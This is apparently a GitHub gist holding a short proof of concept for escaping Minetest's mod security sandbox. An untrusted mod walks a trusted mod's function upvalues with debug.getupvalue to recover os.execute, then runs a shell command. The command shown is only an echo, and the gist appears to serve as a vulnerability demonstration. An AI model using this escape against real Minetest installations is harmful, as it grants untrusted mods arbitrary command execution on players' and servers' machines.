-
-
Save kaeza/ab039940f9ef786d64ca to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
---------------------------------------------------------------- | |
-- minetest.conf | |
secure.enable_security = true | |
secure.trusted_mods = sectest | |
---------------------------------------------------------------- | |
-- sectest/init.lua | |
local ie = minetest.request_insecure_environment() | |
sectest = { } | |
function sectest.test() | |
ie.os.execute("echo Hello from secure env") | |
end | |
---------------------------------------------------------------- | |
-- secbreak/depends.txt | |
sectest | |
---------------------------------------------------------------- | |
-- secbreak/init.lua | |
local os_exec | |
local i = 1 | |
while true do | |
local name, value = debug.getupvalue(sectest.test, i) | |
if name == nil then break end | |
if type(value) == "table" and type(value.os) == "table" | |
and type(value.os.execute) == "function" then | |
os_exec = value.os.execute | |
break | |
end | |
i = i + 1 | |
end | |
os_exec("echo for teh evulz") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment